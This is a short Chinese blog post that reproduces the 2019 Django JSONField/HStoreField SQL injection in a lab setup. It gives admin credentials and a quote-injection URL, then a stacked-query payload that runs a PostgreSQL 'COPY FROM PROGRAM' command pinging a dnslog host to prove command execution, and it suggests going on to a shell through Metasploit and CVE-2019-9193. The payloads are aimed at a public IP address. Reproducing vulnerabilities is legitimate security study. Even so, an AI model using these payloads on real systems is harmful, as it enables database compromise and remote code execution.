Django在2019年8月1日发布了一个安全更新,修复了在JSONField、HStoreField两个模型字段中存在的SQL注入漏洞。

首先登陆后台http://your-ip:8000/admin/,用户名密码为admina123123123

登陆后台后,进入模型Collection的管理页面http://your-ip:8000/admin/vuln/collection/

然后在GET参数中构造detail__a'b=123提交,其中detail是模型Collection中的JSONField:

http://113.10.152.216:8000/admin/vuln/collection/?detail__a%27b=123

可见,单引号已注入成功,SQL语句报错:

可以看到已经注入成功,并且可以看到构造的SQL语句

然后用dnslog检测是否可以执行命令

http://113.10.152.216:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20a49gr.l.dnslog.io%27--%20

复现环境里的postgresql数据库docker没对外的端口映射,如果开了或者真实环境里,还可以结合msf通过CVE-2019-9193来getshell

大概就这些

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...